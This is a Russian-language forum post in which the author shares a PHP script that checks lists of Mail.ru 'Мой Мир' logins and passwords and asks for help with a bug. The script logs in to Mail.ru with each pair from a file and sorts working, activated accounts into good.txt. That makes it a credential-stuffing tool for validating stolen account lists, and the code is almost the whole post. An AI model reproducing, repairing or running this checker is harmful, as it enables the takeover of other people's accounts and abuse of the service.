[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Чeккep aккaунтoв MOЙMИP
sitebuilder
Написал небольшой скрипт, чeккep aккaунтoв MOЙMИP. Проверяет акк на то что мир не забанен, активирован по телефону и вообще есть. Все валидные пишутся в good.txt, невалидные - в bad.txt.

Проблема вот в чем: если в текстовом файле с аккаунтами всего 1 аккаунт, то все чекается отлично. А если больше - выдает неверные результаты.

Вот сам скрипт:

<?

// Построчное чтение файла
$handle = fopen ("login.txt", "r");
$good = fopen('good.txt',"w");
$bad = fopen('bad.txt',"w");
while (!feof ($handle)) {
$buffer = fgets($handle, 4096);


// Обработка

$login_pass = explode( "@mail.ru;",$buffer);
$login = $login_pass[0];
$pass = $login_pass[1];
$account = $login."@mail.ru;".$pass;
$url = "https://auth.mail.ru/cgi-bin/auth";
$post = 'Login='.$login.'&Domain=mail.ru&Password='.$pass;
$cookie = 'cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_NOBODY, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
// echo $result;

$url = "http://video.mail.ru/cgi-bin/photo/albums?bcast=1";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,$url);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt($ch, CURLOPT_NOBODY, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
// echo $result;

if (strpos($result, 'Для входа в систему, введите, пожалуйста, логин и пароль. Если у Вас еще нет логина, Вам необходимо')) {
$mytext=$account." | Неправильный логин или пароль";
fwrite($bad, $mytext);
}
if (strpos($result, 'создать свой Мир')) {
$mytext=$account." | Мой Мир не создан";
fwrite($bad, $mytext);
}
elseif (strpos($result, 'Чтобы начать трансляцию подтвердите вашу учетную запись.')) {
$mytext=$account." | Аккаунт не активирован по телефону";
fwrite($bad, $mytext);
}
else {
fwrite($good, $account);
}
curl_close($ch);
// Конец обработки

// Уничтожаем файл с куками

$fl = fopen($cookie,"w");
fclose($fl);
fclose($good);
fclose($bad);

}
fclose ($handle);

?>
Процесс завершен.

Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.